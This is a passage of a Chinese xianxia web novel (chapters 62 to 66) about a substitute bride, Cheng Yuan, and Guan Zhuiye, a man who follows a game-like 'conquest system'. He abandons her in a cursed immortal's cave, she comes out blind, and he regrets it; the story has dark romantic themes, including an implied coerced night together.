她自以为天赐良机,想抓住机会趁虚而入。 于是程鸢便看着这位大小姐鞍前马后地服侍关骓野,然而后者依旧是那副不知道吃错什么药的反应,结果自然是热脸贴冷屁股,马屁全拍在马腿上。 程鸢:“人要是恋爱脑上头,那实在是相当卑微……” 听到她这声慨叹呢喃,周意宁看了看萧晓,又看了看程鸢。 忽然觉得也许只是后者不爱而已。 他最后垂下眼皮,没有说话。 …… 前往飞云宗的后半程,程鸢粘了周意宁一路,萧晓则粘了关骓野一路。 见后者虽然对萧晓没有什么好脸,但也不完全是拒绝的样子,程鸢以为是关骓野终于想开,放弃了和她纠缠,再续前缘,于是松了口气,转而思量起接下来要找什么借口,帮他把完成度刷满。 然而,等他们抵达飞云宗,程鸢才发现是自己会错意了。 萧晓主动揽下和飞云宗的交接任务时,程鸢就知道她没安好心。 于是当她回来,说由于飞云宗人多庙小,只能为三人提供住所时,好像也不是那么意外了。 程鸢本来就不想留在山上,于是在叶辞怊脸色微变、正要出声之时抢先打断了他。 她笑眯眯的样子像是全不在意。 “那我去山下住好了。” 萧晓哼了声,像是在说她还算识相。 可程鸢刚准备喊上周意宁一起下山投宿,她的手臂被人拽住。 回首,只见那人脸色铁青。 声音不大,语气中的不悦足以让在场所有人都听得清清楚楚。 “别走。” “凭什么是你让?” 萧晓顿时脸色一白,委屈的样子似是能马上能哭出来,还下意识拽了拽叶辞怊的袖口,像在对他求救。 ……程鸢也找想人求救了。 她的读心术读到的全是关骓野骗自己顺便还忽悠了系统的那一套东西,真就想能有个人帮忙把关骓野的脑子剖开来看看,他到底在想些什么? 但不管怎么说……反正她确实不想呆在山上,仙门里没什么好玩的,全是不同宗门派别勾心斗角,山下的乐子才多。 于是程鸢假意借安慰关骓野,实现一己私欲: “关师兄别担心,大家师兄妹一起出来,和气要紧,再说有意宁陪我,也不见得是委屈。” 不知道是不是看关骓野不顺眼,还是上次一起出任务时结下了梁子,被点名的周意宁破天荒地附和了声是的。 从抓住她手臂的那股力道,程鸢知道有人又破防了。 但他要破防她随便他破,反正是他自己亲口说的“我绝不会因为你伤心的”。 于是假装没有觉察,甚至还笑眼弯弯地问他: “关师兄不松手吗?” 程鸢瞬间感觉自己手臂要断在他手里。 发现她眉头紧皱,关骓野马上松了松手,却依旧不肯放人。 不过便是这么一松,连带着他的神色也变得凄惨可怜起来,向来嘴硬要强、要跟周意宁斗到底的人,居然此时放下脸面,用乞求口吻苦笑着拜托: “若是周师兄方便……我们能不能换一换?” “我倒也想去山下。” 山下突然变成了香饽饽,那边萧晓气得要死,叶辞怊因为中间隔了一个程鸢所以不会帮她。 而周意宁知道程鸢马上要出嫁的事情,似乎是可怜关骓野,默了默后便同意了。 他点头瞬间,程鸢听到关骓野悄悄松了一口好长的气。 接着,他也不怕得罪叶辞怊,盯着萧晓说出来的话几乎字字诛心: “萧师妹,请你记好了,这次语笑不是让你,只是她不想要的东西恰巧被你捡走了而已。” 之后转头就温柔笑着向她望来:“语笑,我们走吧?” “……” 程鸢给他竖了个大拇指,真心无话可说。 下山的一路,听关骓野的语调,程鸢知道他心情大好,但唯独在提起萧晓时沉下了音色。 “那个叫萧晓的女修是谁?” 程鸢不以为意地应了句:“你不全看出来了,还问我做什么?” 往日萧晓倒不会这么大摇大摆、嚣张狂妄,大概因为是在她的跟前,想借此告诉她假货永远真不了。 又是在关骓野的面前,想让他知道,她程鸢能给他的,她萧晓同样能给,所以行事才这么放肆。 而关骓野虽然猜到些许,仍不得而知真相全貌,于是忍不住问程鸢: “你……可是有些什么把柄被她抓在手上?” 程鸢想了想,回道:“不如说是她有把柄被我抓在手上。” “……” 见他无语,程鸢有种出了口恶气的感觉,她耸耸肩,若无其事地笑道:“她要跟我争的东西,我全都不在意,她想要就给她好了。” 再说了,有些东西她明明拿不起,还非想着硬拿起来,总会遭到反噬的。 回想起此程以来一直被萧晓背在身后的长剑,还有她时不时刻意炫耀的嘴脸……程鸢也不知道该给什么反应好。 那可是师伯当着那么多人的面,亲自送给她叶语笑的名剑,萧晓就这么背在身后,也不知道该说她傻,还是真的勇。 而此时,程鸢倒是没想到自己随口的一句无心之言让关骓野沉默了那么久,甚至走着走着人突然掉队了。 当她回首,才知道他沉默的时候原来都在纠结些什么。 只见他嘴唇泛白,眼中分明就有痛色,脸上还硬是要装出一派云淡风轻。 “那我……也是吗?” “因为不在意,所以……她想要,就给她了?” 程鸢噗嗤一声笑了。 “我没有挽留过你吗?” “你说是误会,是你搞错了,其实你一点都不喜欢我,我还能勉强你不成?” “勉强也勉强过了,强制也强制过了,你依然说不爱我,那我不拱手让人还能怎么样?” 她认真又仔细地告诉他: “关骓野,我们已经错过了。” 刹那间,程鸢看到他的身体似乎猛地震了下,好像是勉强支撑才能站定时,她只是不由再三感慨,正在被虐的人果然是他,而不是她。 关骓野被她这么隔三差五的刺激,或许很快就会察觉到从很早以前便开始出现错误的事情。 ——关于他是真的喜欢上了攻略目标这件事。 程鸢只是有点好奇,等真到了那一刻,他会是如何反应。 不过……无论如何,那都与她无关了。 她看个乐子就好。 抓着破防的关骓野大笑着下山去时,回想起他气萧晓,他每一次的明明心里头痛得要命却死撑着强颜欢笑,程鸢只觉得他又可爱又可怜又可悲。 不过世间中人,大多如此。 63 第63章 ◎代嫁替身想被攻略的第二十七天◎ 飞云宗近日热闹。 山上山下人潮涌动,即使没有得到飞云宗的邀请函,也有散修来凑热闹,想看看能不能蹭个机缘。 所有人都是奔着福缘洞天来的。 除了……叶语笑。 关骓野觉得她真是来玩的。 别人在打听福缘洞天何日开启,她在打听谁家的饭菜最好吃,别人花费重金买下洞天情报,她一掷千金听人说书唱戏。 看着她在酒坊上和一群小白脸笑作一团的时候…… 关骓野忽然便觉得,她不在意的不止是一个福缘洞天。 放眼这天地间,就没有她在意的东西和人。 包括他。 所有一切,她全不在意。 在意识到这个事实的瞬间,关骓野心底猛然涌现出一种强烈的空虚感,那像是想抓什么又抓不住,与其说是眼睁睁地看着失去,不如说是从未得到过。 因此哪怕落在他人眼里大概是很可笑的,他也终究是坐不住了,把她从那群一口一个“仙女姐姐”、像伺候皇帝一样在服侍她的小白脸中拽走了。 站在昏暗船尾,看着昏黄灯光映照她酡红脸庞,他忍不住开口问她: “叶语笑,你的心里到底有没有我?” “这天地间……是不是真就没有你在意的人和东西了?” 换在平常,她可能会骗一骗他,哄一哄他。 可那夜她酒过三巡,像是趁醉装疯,懒得做人了,一瞬愣神过后,她哈哈大笑,有一种不顾他人死活的风流潇洒。 等擦去从眼角笑出来的两三滴泪水,她认真又仔细地看着他,一字一句轻描淡写,却比拿刀子往人身上扎时痛得还深。 “关师兄,世间一切不过是过眼云烟。” “纵我是哭是求,或打或骂,甚至把你强留在身边,你不也从我身边离开了吗?” “在意或不在意……” “世间与我皆是过客。” 她似笑非笑的表情,漫不经心的口吻,全像化成了看不见的武器,让他心中阵阵钝痛。 而也是在这时候,当他下意识想否定她,想抓住她,甚至强吻她,把她留在身边,身体力行地证明他们不是过客、错过不会是他们的结局…… 他方才猛然意识到: 也许确实有什么事情……早在很久之前便出了错。 那日在灵无宗的姻缘树下,他隔着飞舞红绸、从叶隙间掉下的阳光抬头望向她,眼睛一眨不眨地定定看了她良久。 他对系统说是假装一见钟情。 可望着坐在她坐在树桠间,那自由又潇洒的身影,一时从心头涌现的向往和悸动…… 不像是假。 …… 叶语笑越是不在意,他就越想在她心上留下痕迹。 可他越是努力,便越会发现一切皆是徒劳。 无论他说什么做什么,她皆是相当配合,嘴上说着爱他,有时候还会像模像样地挤出两滴眼泪出来,然而…… 她的眼睛里没有他。 哪怕他就在她的跟前,他的脸庞好像也依然映照不进她的眼睛里。 尤其当她让他回到飞云宗去,去找萧晓,他的脑海里会控制不住地浮现出她说因为不在意,所以萧晓想要什么都会让给她时的画面。 系统不知道他的痛苦纠结,没日没夜地播报不断上涨的完成度。 他理应要感到喜悦,可每次听到支线任务完成,距离结束攻略越来越近,就像石头一块接着一块地压在他心头,感受到的压力节节攀升。 而当完成度高达97%,距攻略结束只剩下一步之遥,他的心头更是浮现出了点点绝望。 【恭喜宿主成功解锁隐藏任务!!只要做掉这个任务就能得到3%完成度,立刻以“完美”评级完成攻略,拿下额外奖励!】 【请宿主速战速决,并开启下一轮的攻略吧!】 他在不知不觉间停下了脚步。 当他停下,走快了一步的叶语笑也跟着停了下来。 她回头看向他,既不催促他,也不问他为什么突然驻足,她仅仅是安安静静地注视他,仿佛在等待着什么。 而她嘴边那仿佛在看着什么可笑可悲可怜人的笑,让关骓野觉得她似乎在看戏,那种事不关己……又像在看什么乐子的模样,让他感到窒息。 于是,对着大有干劲的系统,他只说了一句: 【等一等。】 【啊?等什么??】 他顿时语塞,只再说了遍等一等。 可是……等什么呢? 连关骓野自己也不知道。 他只知道,如果完成了攻略任务,他就没有任何借口留在她的身边了。 这想法是如此荒谬,但他已经不想深思了。 又是如此错误,可他已经停不下来了。 于是,当叶语笑一次次用看乐子的眼神看他,当不管他做什么,自己的身影也始终映不进她的眼底时—— 在福缘洞天开启前夜,像是得不到就不肯罢休的偏执狂,他抓着她做了一夜。 看她惊慌失措的神情,一直郁结在他心中的那股闷气好像顿时散去,畅快无比。 然而等次日她一边检查身上红点,一边悠哉悠哉地穿衣,慢条斯理地对他说“你别喜欢我,我们没有结果的”,他又瞬间被打回原形。 他紧紧抓住她的手腕,目眦欲裂,声声句句都像是能吐出血来。 “为什么没有结果?” “你又要说你要嫁人了吗?” “修真界又不是凡人界,谈什么婚嫁?你到底是要与何人结契?” 连他本人都从自己的字里行间感受到一股杀气。 而她愣了愣后,只是轻笑了声,接着懒洋洋地瞥了他一眼,嘴边是云淡风轻的一句: “别问了,你又打不过他。” 那刻,关骓野只觉得一股腥甜涌上喉间。 他闭了闭眼。 【最后那个隐藏任务是什么?】 系统对于他终于打算要做最后一个隐藏任务表现出相当程度的激动亢奋,说话时都破了音。 【抛弃她!!只要你在生死关头下抛弃叶语笑转身就走,马上能不费吹灰之力获得3%的完成度!】 【……】 【真残忍。】 【啊……对于叶语笑来说可能是有一点残忍的……】 【我是说对我真残忍。】 【恩?????为什么?????】 关骓野没有回答。 只是回想起叶语笑每次那看戏看乐子一般的神情,就算他真的在生死关头抛弃她,她大概也只会笑眯眯地说上一声…… “好呀。” ……这样的话吧。 64 第64章 ◎代嫁替身想被攻略的第二十八天◎ 程鸢不是故意要用那种看可笑可悲的可怜虫一样的目光看关骓野的。 只是……她真的忍不住。 他分明已经渐渐意识到了自己对她的感情,却在每每在察觉到的瞬间直接忽略无视。 他的身体倒是非常诚实。 不但各种在她面前狂刷存在感,莫名其妙的飞醋吃得飞起,甚至昨夜抓住她折腾了整整一个晚上。 那就像是因为没办法在她心里留下痕迹,于是疯狂在她身上留下痕迹。 程鸢可怜他。 因此没有直接用膏药让当眼处的红痕消失,留着给他再自欺欺人一阵。 意识到他在爱情和力量之间其实已经选择了后者,更是索性帮了他一把,原地为他创造出了一个要继续攻略任务目标、要努力变强的理由出来。 既然他心中早有选择,那便坚定地往下走,不要走走停停,不舍犹豫,反而更糟。 对关骓野,这是她最后的善心了。 看他那决绝的眼神,显然是打定主意要去做最后的隐藏任务了。 恩,他们就要结束了。 …… 今天是飞云宗开启福缘洞天的日子。 全赖关骓野,破晓时分程鸢爬下床好几次全被他抓了回去继续,于是现在腰酸背痛不止,人还迟到了。 但飞云宗上还是很多人,像是被什么事情耽误了,没有按时开启福缘洞天。 程鸢站在人群的最外围想看热闹,刚踮脚,一句冷冷的质疑穿过人群传到了她的耳畔: “这怎会是你的剑?!” 她顿时有种预感。 果然,当视线越过一片乌黑头顶,她确实在尽头看见了被围堵在人群中一脸有苦说不出的萧晓。 可能是她跳起来看热闹的动作太惹人注目,那边的人一眼扫过来后发现了她,于是立刻拔高了声调说: “正好语笑来了!事实真相如何且听她说说!” 看热闹的人也非常自觉,当即让出了光明大道让她过去。 程鸢不紧不慢地过去之后,急得一脸通红的萧晓狠瞪了她一眼,身旁站着的是夹在中间里外不是人的叶辞怊,还有一个飞云宗的女弟子。 这人程鸢熟,见的不多但算是朋友,上次来她跟着飞云宗的长老来灵无宗做客时,她便带着她去山下到处吃吃喝喝寻欢作乐。 因此此刻程鸢说话语气也很是熟稔。 “怎么了?怎么这么热闹?” 那飞云宗女弟子解释: “我本来一直在找你,见不到你人却意外发现了这把剑。” “你那样喜欢这剑,定是不可能把剑借人的,刚刚仔细逼问了一下,果然发现不对!” “你且直说,正好今日在飞云宗,我便给你撑腰!” 闻言,程鸢还没回应,那边的萧晓一张脸气得又白又红,刚想开口,被飞云宗女弟子一个冰冷眼神给压了回去。 连带着她身旁的叶辞怊也跟着挨骂。 “叶辞怊你也是的!你妹妹的剑被人抢了你也不知道!” 兄妹两人都很难堪。 叶辞怊只能寄希望于程鸢,希望她不要把事情闹大。 在他那带着恳请的目光下,程鸢慢条斯理地开口了。 “这剑……是我交给萧师妹保管的。” 她此话已是给萧晓留足了面子,但兴许是方才萧晓说话太狂,谁知此言一出后闹得更大。 “她分明就是抢是偷!” “你可知道她是怎么说的?” “她说是你送她的!人怎么能自作多情到这份上,不过是让她保管,怎么就直接成她的呢?” 一时之间从人群中传来的附和声不绝。 萧晓平日里被保护得太好,没遭过什么风浪,现在遭到连番打击,终于忍不住掉小珍珠了。 叶辞怊纵有心呵护也爱莫能助:“可能当中是有什么误解……” “能有什么误解?!真相不就在眼前这里摆着吗?” “分明就是她抢了语笑的剑想占为己有!谁都知道这是慧心道人托大师打造的剑,庆贺语笑十八岁生辰,她怎么可能会送给一个不清不白的人?!” 周遭开始响起一片“是啊”“可不就是这个道理吗?”“说是保管……看来也是留了面子的说法了”的响应。 叶辞怊面如土色。 他看了好整以暇的程鸢一眼,想请她帮帮忙,又实在开不了这个口,毕竟跟一个月后出嫁魔都的事情比起来,现在真算是小巫见大巫了。 于是最后咬了咬牙,想让萧晓道歉服软。 刚要开口,另一边的关骓野像是在报复程鸢跟他缠绵一夜后,转头就冷酷无情地说要嫁给别人,他破天荒地竟然在此时站了出来。 “……当务之急是不要再耽误开启福缘洞天的时间,我们先把剑拿回来,事情等之后再说,语笑,你觉得呢?” 见关骓野帮她说话,萧晓顿时感激涕零,立刻把他这段时间以来对她的冷言冷语忘得一干二净。 程鸢觉得好笑。 她只想着关骓野,殊不知自己在修真界已经没有任何立足之地了。 修仙一事向来单调,因此修真界中人大多八卦。 不需半日,整个修真界恐怕都知道她萧晓这个人和她做过的事了。 不管背后有什么隐情,那把剑确实是师伯当着那么多人的面亲自送给她,剑身上还篆刻了对她的寄望。 这样的剑哪怕是跟着自己进坟墓堆里,也不可能送给别人的。 程鸢的视线从萧晓脸上收回,转而深深看了像是希望她有点生气,又怕她彻底恼火了他的关骓野一眼。 “那倒不必。” 她潇洒从容地笑道:“萧师妹实力不济,有把好剑护身也会安全些。” 飞云宗女弟子和所有围观群众立刻感叹她善良体贴,谴责偷拿好人东西的萧晓不是个人。 程鸢:“但如果萧师妹非要还给我,我倒也不好拒绝。” 要是萧晓能好声好气地道歉,说是一场误会,估计还能挽回点名声。 可她用“谁稀罕这把剑,你想要就给你”的态度把剑甩给她……确实是没得救了。 程鸢不生气,却见旁边的关骓野眼皮狠跳一下,紧皱的眉宇间全是厌恶,握实了的拳头像是拼命在忍,才忍下不按住萧晓的脑袋逼她把剑拿回去,重新恭恭敬敬地将剑还给程鸢。 程鸢笑笑,转而向飞云宗女弟子道谢,向围观群众们致歉。 “让诸位看笑话了,也不好再耽误进入福缘洞天的时间,不如现在就赶早启程吧?” 闹剧这才落下幕布。 …… 每个人只可进入福缘洞天一次,一旦出来了,便不能再进去了。 修真者间也算不上竞争关系,能在福缘洞天中得到多少收获,全看各自机缘,说白一点就是……全部看脸。 因此程鸢也不急,她慢吞吞地落到了最后,排在倒数进入。 而关骓野说是不急,其实更像是一门心思挂在了程鸢身上,都有点忘记福缘洞天这回事了。 等到了程鸢即将消失在入口之际,他终于按捺不*住,出声问她: “我替萧晓出声,你是不是……生气伤心了?” 听到他那像是在求着盼着她生气伤心一样的口吻语气,程鸢不由好笑。 她看了他一眼,留下句“你以为你是谁?”后—— 扭头就直接进了洞天。 65 第65章 ◎代嫁替身想被攻略的第二十九天◎ 上一秒刚对他放完狠话的人,下一秒立刻又出现在眼前,确实是有点尴尬的。 见只是打了个照面的功夫,被她那句“你以为你是谁”所中伤,强撑着笑容的关骓野对她说“我们真是有缘”,任是程鸢也不禁说不出话来。 福缘洞天的入口是同个入口,但哪怕牵着手,在洞天内的坐标也未必会刷在一起。 察觉到发间传来隐隐温热,程鸢觉得是关骓野送她的玉簪在发挥作用。 玉簪承载了他的灵力,和他本人互相吸引,也很合理。 不过比起这种小事情…… 他们现在好像有大麻烦了。 程鸢环顾四周,挑眉质疑:“这里是福缘洞天?怎么倒像是魔神旧居呢?” …… 洞天是修士飞升成仙后,在修真界的故居。 若是修正道登天的神仙,他们的故居被称作福缘洞天,通常会留下天灵地宝、神兵利器予后来者。 可如果洞天的原主是修魔道的魔神邪神……别说是福利了,这相当于人入虎口,危在旦夕。 而此时,关骓野也意识到了不对,他环视周遭枯木荒石,皱了皱眉道:“这里确实是两百年前一位飞升仙人的故居。” 他低头看了眼已经断裂了的引绳。 引绳是进洞天前发的法器,能帮助入洞天者迅速找到出口,离开洞天。 如今既然已经断裂,他们只能靠自己找到离开的途径。 “……恐怕是在我们之前有魔修混入,想把我们所有人困死在这里。” 听到那个“困死”,程鸢的神情顿时变得很微妙。 她只是不由自主地想起了他那个最后的隐藏任务的前置条件,现在……应该算是已经达成了吧? 关骓野留意到她微妙眼神,以为她有所发现,不禁问了声:“怎么了?” 程鸢同样丢掉断裂引绳,拍拍双手,好整以暇地回了句: “没怎么,就是在想你是不是应该担心萧师妹了。” 关骓野的脸色忽然一僵的反应,让程鸢觉得他可能连想都没有想起过萧晓。 但哪怕想都没有想起过,也不妨碍他现在说:“……倒确实是有点担心的。” 闻言,程鸢简直不能更贴心地鼓励道:“那你赶紧去找她吧。” 结果对方脸色更僵。 正僵持不下,被点醒了的系统也开始疯狂鼓励: 【对啊!宿主你快去吧!现在去找萧晓不但能立刻完成抛弃叶语笑的支线任务,结束攻略,还能在萧晓面前刷一波好感度,无缝开启新的攻略任务呢!】 【这种大好事上哪里去找啊?!】 关骓野一动不动,连假笑都强撑不起来了。 程鸢也跟着继续劝道:“先说好了,你自己要去找萧晓可千万不要拖上我一起,我是绝对不可能去找她的,要去你就自己去。” 她还推了他一下:“别等了,快去吧。” 可程鸢的手在收回来之前便被关骓野捉住。 他紧紧注视着她的眼底发红,每一个字眼都像是硬从牙缝间挤出来的。 “你真就……一点都不在意吗?” 程鸢笑眯眯地点了点头:“对呀,我一点都不在意。” 又歪着脑袋好奇反问:“你怎么会认为我会在意呢?” 最后露出错愕表情:“关骓野,你难道真的以为我爱过你吗?” 他死死咬紧牙关的样子像是如果不这么做,就能当场吐一口血出来。 程鸢看见了他眼神中的脆弱,那犹如一块已经裂成蛛网状的玻璃,只要轻轻碰一下,马上能哗啦啦碎裂一地。 可她还是接着往下说了。 神色语调是那样轻快,半点犹疑不忍都找不到。 “坦白说,喜欢是肯定喜欢过的,毕竟你的这张脸确实长在我的心坎上。” “可是……关骓野,你是不是忘记了自己是一个什么样的人?怎么会认为有人会在知道你的真面目后,还能真心去爱你呢?” 程鸢话音落下后,关骓野终于忍不住了,一口鲜血吐了出来。 然而她依然字字诛心,像是不彻底杀死他最后的那点念想,绝不罢休。 一如关骓野想象到的那样,她用笑眯眯的模样,说出对他而言最残忍的话。 “关骓野,我不爱你,所以才不会在意你。” “你要去找谁,和谁在一起,都与我无关。如果非要说有点关系的话……那只能说当看到你这样纠结,我会觉得很有意思,比看别人唱戏都还要有意思。” 程鸢把自己的手腕从他手心里抽了出来,有点嫌弃似地拍了拍,笑眼弯弯地鼓励他: “快去找萧晓吧,再晚一点她可能直接死掉了也说不定。” “你也不必担心我,周意宁会来找我的。” 关骓野走了。 面对她字字诛心,他没有说一句话,似乎是真的在这一刻断绝了所有念想,他深深地看了她一眼后扭头就走。 甚至没有回头。 当他的身影从视野中消失,程鸢嘴边的笑终于淡了下来,她活动了活动身体,准备动身寻找出口。 等周意宁? 周意宁大概不会来找她的了。 她的存在是很重要不假,但如果是在面临生死危难的关头,他绝对会优先去救萧晓,而不是她。 叶宗主是这么命令他的。 想到这里,程鸢只是不由感叹一句:“人啊……果然还是得靠自己啊……” 话落,半点也没有将希望寄托于周意宁,她转身优哉游哉地找出口去了。 …… 【恭喜宿主完成隐藏支线任务“在完成度>97%时,于生死关头抛下任务目标,达成最后一击”,获得完成度3%!】 【恭喜宿主以“完美”评级完成首个系统升级后的攻略任务!!!】 【考虑宿主正在经历危险事件,首杀奖励和“完美”完成奖励将推迟发放!】 系统的声音落下之后,四周忽然安静了下来。 关骓野不止是嘴上没有说话,连他的心声也没有半点回响。 任是没有双商的好大儿系统也在此刻察觉到了不对。 【宿主……你好像……不开心吗?】 它等了许久才终于等到一句回应。 【我应该要开心的。】 意思就是……他现在并不开心。 系统生怕他不肯继续进行任务,有点急了,赶紧拿关骓野最在意的事情和东西劝他: 【等奖励发放后宿主你绝对可以连升两重境界,直接反超你最讨厌的那个周意宁!而且还会有天级物品的奖励!】 【当看到你抛弃叶语笑主动去找她,萧晓绝对会相当感动,说不定能直接以天胡开局呢?前途多么美好呀!】 ……是的。 前途多么美好。 上一个攻略目标不会纠缠他,不会破坏他接下来的攻略,下一个攻略目标本来就对他自带好感。 他应该要笑出来的。 就像叶语笑平时不顾他人死活、放肆的哈哈大笑那样。 然而,当真的找到了萧晓,看到她感动兴奋神色,关骓野更多感受到的是深深的恐惧。 仿佛有一股寒气从心底冒出来,顺着血液流到了身体各处,连枝末的趾头都像是瞬间结冰。 只因在这里,他找到的不仅是萧晓,还有叶辞怊,更包括……周意宁! 看到周意宁的瞬间,关骓野情绪一下子失控了。 “你……为什么会在这里?” “你为什么不去找叶语笑?!!” 周意宁同样一副有点反应不过来的样子。 “我以为你会……” 他们都以为对方会去找程鸢。 却不想此时会在这里相遇。 关骓野立刻转身,往来时的路回去,然而下一秒,他发现自己正被强制传送出洞天。 回首,正是一脸着急的萧晓对他们在场四人使用了转移类的法器。 霎时间,关骓野觉得自己像是个傻子。 这种道具连身为宗主之女的叶语笑都没有,却被萧晓一个来路不明的人掌握在手中…… 他应该要早点察觉的。 …… 关骓野被送回飞云宗后,他立刻咬牙疯扑向了洞天入口,尝试重新进入。 然而却被入口拒绝了。 每个人只能进出洞天一次,这是洞天的规则,没有任何例外。 而见他又想扑回那个危险重重的地方,萧晓急了,马上冲过去抓住他的手臂,想把他硬拽留在这里。 “关师兄我们好不容易才出来,不能再进去了!” “我那个强制传送的法器只能使用一次!所以就算和叶辞怊汇合我也没有立刻用,而是想着等见到了你……才用。” 关骓野没眼看她狠毒又畅快的害羞神情,闭了闭滚烫双眼,甩开她的手,声色和心一般冰冷坚硬。 “那我还得谢你不成?” 萧晓面色如土。 关骓野没有心思理她和嗷嗷乱叫的系统,像抓着最后一根救命稻草望向周意宁和叶辞怊。 “有没有什么办法?” 他们皆摇了摇头。 负责此次洞天之行的飞云宗也同样束手无策。 当最后一人进入洞天之后,不但引绳断裂,连入口也被封闭,现在只出不进。 而使诈的魔修留下一个替身人偶后便逃之夭夭。 除了等……他们没有任何办法。 …… 即使理智上认识到已是无计可施,但关骓野仍不肯死心。 他一边试图破解洞天入口的禁制,一边努力通过送给程鸢的那根玉簪引导她走向出口。 期间也有不少修士陆陆续续回到飞云宗,却没有一个人是她。 说到底……她的境界到底不高,实力欠缺,又是孤身一人,关骓野只能在心中拼命祈求她能遇到友方,和人结伴同行逃出。 只要她能出来,无论她是看戏也好,找乐子也罢,骗他、捉弄他,以戏耍他取乐,他都全部认了。 只要……她能出来。 他只希望她能出来。 然而没有过多久,关骓野的恐惧变成了绝望。 当察觉到靠着玉簪和她之间产生的最后一丝联系消失不见,他整个人像是突然失去了魂魄,一瞬面如死灰,唇角溢出鲜血,嘴边传出一句绝望的喃喃低语: “断了……” 周意宁:“什么断了?” “我送给她的那根玉簪……断了。” 萧晓不知道什么玉簪,但看关骓野的神色,也能估算到程鸢是凶多吉少。 本来还在幸灾乐祸的她顿时六神无主,她赶紧抓住了叶辞怊,连称呼都忘了。 “哥哥怎么办……?要是她死了,我、我不就得……!” 闻言,关骓野一个箭步冲过来揪住了叶辞怊的衣领,他面目狰狞,声色冰寒,布满红血丝的双目仿佛能喷出火来。 “她是谁?” 叶辞怊避开了他的眼神,回答:“……她是我妹妹。” 关骓野不可能被他所骗,他抓住他衣领的指节用力到泛白,那使劲的感觉像是恨不得自己掐住的是对方的脖子。 他死死盯着叶辞怊,一字一句道: “绝无可能,告诉我,她到底是谁。” 叶辞怊默了默,最终闭眼回应了一句: “……我不知道。” 于是关骓野立即甩开了他,视线刷的一下落到了周意宁身上。 “你是她的影卫,总该知道她叫什么名字。” 可似是有点难以启齿,周意宁抿了抿唇,才在避开他眼神的时候一同说道: “她从来没有说过……没有人知道她真正的名字。” “……” 刹那间,关骓野只觉得心中不胜悲凉。 …… 自玉簪断裂后已经过去小半日。 萧晓已经当程鸢必死无疑了,于是抓着叶辞怊在旁边小声讨论之后该怎么办。 周意宁在等。 关骓野也在等。 而唯一万幸,他们终究是等到了。 在这一刻到来之前,关骓野本以为听她说那一番恩断义绝的话,已是对他触碰歪门邪道的最大反噬。 可此时看着她双眼流着血从洞天摔出来,当时的心痛全都不及此刻的千分之一。 接住她的时候,他的心都快碎了,她却只是不以为意地“噗嗤”一声笑了。 声色沙哑,语调则一如既往的轻快。 她说: “我只是眼睛瞎了,又不是没命了,你慌什么?” 66 第66章 ◎代嫁替身想被攻略的第三十天◎ 程鸢觉得这是对她好吃懒做的报应。 她隔三差五就翘课,武堂更是连去都没去过,每月炼堂的出山任务向来是挑最简单的做,实战经验因而少得可怜。 于是现在一遇到事就…… 哦豁了。 在洞天里左兜右转都找不到出口,又烧起诡异的地狱火之时,程鸢意识到不能再拖拉了。 她想可能是因为实力不够,于是不再顾忌身上血誓,把外渡的灵力一次收回,进行强行突破。 可即便如此……那地狱火和和洞天里的枯木一碰上,简直毒上加毒,被那黑烟熏上两秒她就看不见东西了。 全靠关骓野送的玉簪引路、慧心师伯送的剑护身,又在路上捡到了那个飞升成仙的修士留下来的东西,才一路跌跌撞撞,误打误撞碰到了出口。 程鸢摔出水镜的时候,因双目已经不能视物,但感知还在,当察觉到有人扑向她,素以下意识拿起剑就刺了过去。 她一个瞎子乱刺,能刺中人才是稀奇事。 然而从剑身传来的回馈……却像是她划破了别人衣袍,刺破了皮肤。 正愣神,她跌进了一个温暖的怀抱。 他抱过她那么多次,任是程鸢此时看不见,也知道他是关骓野。 更何况还有系统在哇哇乱叫。 【宿主!!我很生气!你对叶语笑的攻略已经结束了,你现在应该立刻去攻略萧晓,而不是在这里虚度光阴!!!】 他仿佛听不见它的话。 程鸢能感觉到他的双手覆盖在她眼上,温暖灵力不断输送给她的眼睛,拼了命地想治好她。 可像是竹篮打水一场空,程鸢知道那都是徒劳无功。 她想要推开他的手。 抓住关骓野的时候,程鸢感觉他不止是手,而是连着身体好像都在颤抖,于是忍不住“噗嗤”一声笑了。 接着便说出了那句:“我只是眼睛瞎了,又不是没命了,你慌什么?” 他的呼吸声瞬间消失不见了。 他没有开口,心声却一字一句仿佛染血。 【我不要修为,不要奖励,什么都给你,只求你帮我治好她。】 系统顿时傻眼了。 隔了一秒它爆发出响亮尖叫: 【宿主你清醒一点!!!你忘记了从开始攻略到现在,你付出了多少努力吗?你是多么艰难才走到这一步啊!怎么能——】 它苦心规劝被他打断。 【我什么都不要了,我只想她恢复原状。】 【……】 【……做不到。】 【宿主你别想了,反正我是做不到的了……对了!宿主你因此才要努力完成攻略任务,只要变强了,就一定会有办法的!】 当系统说出那句“做不到”后,关骓野便没有再听它说话了,像是不肯面对现实,他的灵力一直源源不断送给了程鸢这个无底洞。 程鸢拍了拍他的手背,好笑地骂了他一句“傻子”。 “干嘛这么拼命,你忘了我们分别前我对你说过什么话了吗?” 结果他的声音瞬间变得哽咽。 “对不起。” “是我不该离开你。” “对不起……真的对不起……” “……” 当关骓野的泪水掉在她的脸上,程鸢不由下意识地想,如果她是真的叶语笑,也许还能成就一曲佳话。 只可惜…… 只可惜啊。 程鸢把收起来的断裂玉簪从怀里拿了出来,想塞进他的手里。 “我把定情信物还给你,你且就当把对我的感情收了回去。” 又相当之诚恳地说了一句:“我们真的没结果的。” 可关骓野不肯拿,程鸢只好把断裂玉簪丢到地上。 她人挣扎着从他怀抱里坐起,扬声高喊:“周意宁,你在不在这里——?” 可分明……周意宁就在她的正前方。 这一幕见者不忍。 程鸢不知道他们有多难过,只是听周意宁应声,她对着他声音传来的方向伸手并说道:“走了,带我回去吧。” 周意宁接住了她的手,但这时,她的身后传来了轻飘飘的一句: “……你叫什么名字?” 程鸢愣了下,意识到关骓野可能猜到更多的秘密了。 她看不见,仍是回了头,回答他:“何苦呢?知道了不也是徒增烦恼吗?” 对方依旧固执。 于是程鸢只好又放开周意宁,伸出双手去找关骓野的脑袋,摸到后,凑在他耳边小小声地说: “去攻略萧晓吧。” “不要再在我身上花时间了,我们已经结束了。” 便是在系统无比震惊【她为什么会知道攻略????!!!!】的惊讶声中,程鸢被周意宁抱了起来,离开了此地。 …… 看不见之后,程鸢觉得有好有不好。 不好的是失去视力后变得不便,不过……也好像没有有多不便。 她不知道跟读心术、跟她在洞天里捡到的东西有没有关系,失去视力后的她感知成倍上升。 就算看不到,她也能知道方圆一丈内有些什么,甚至在冥冥中……好像能感知到更多的东西。 程鸢不懂,于是问了周意宁。 他听得迷迷糊糊,倒过来问她:“你在洞天到底是捡到了什么?” 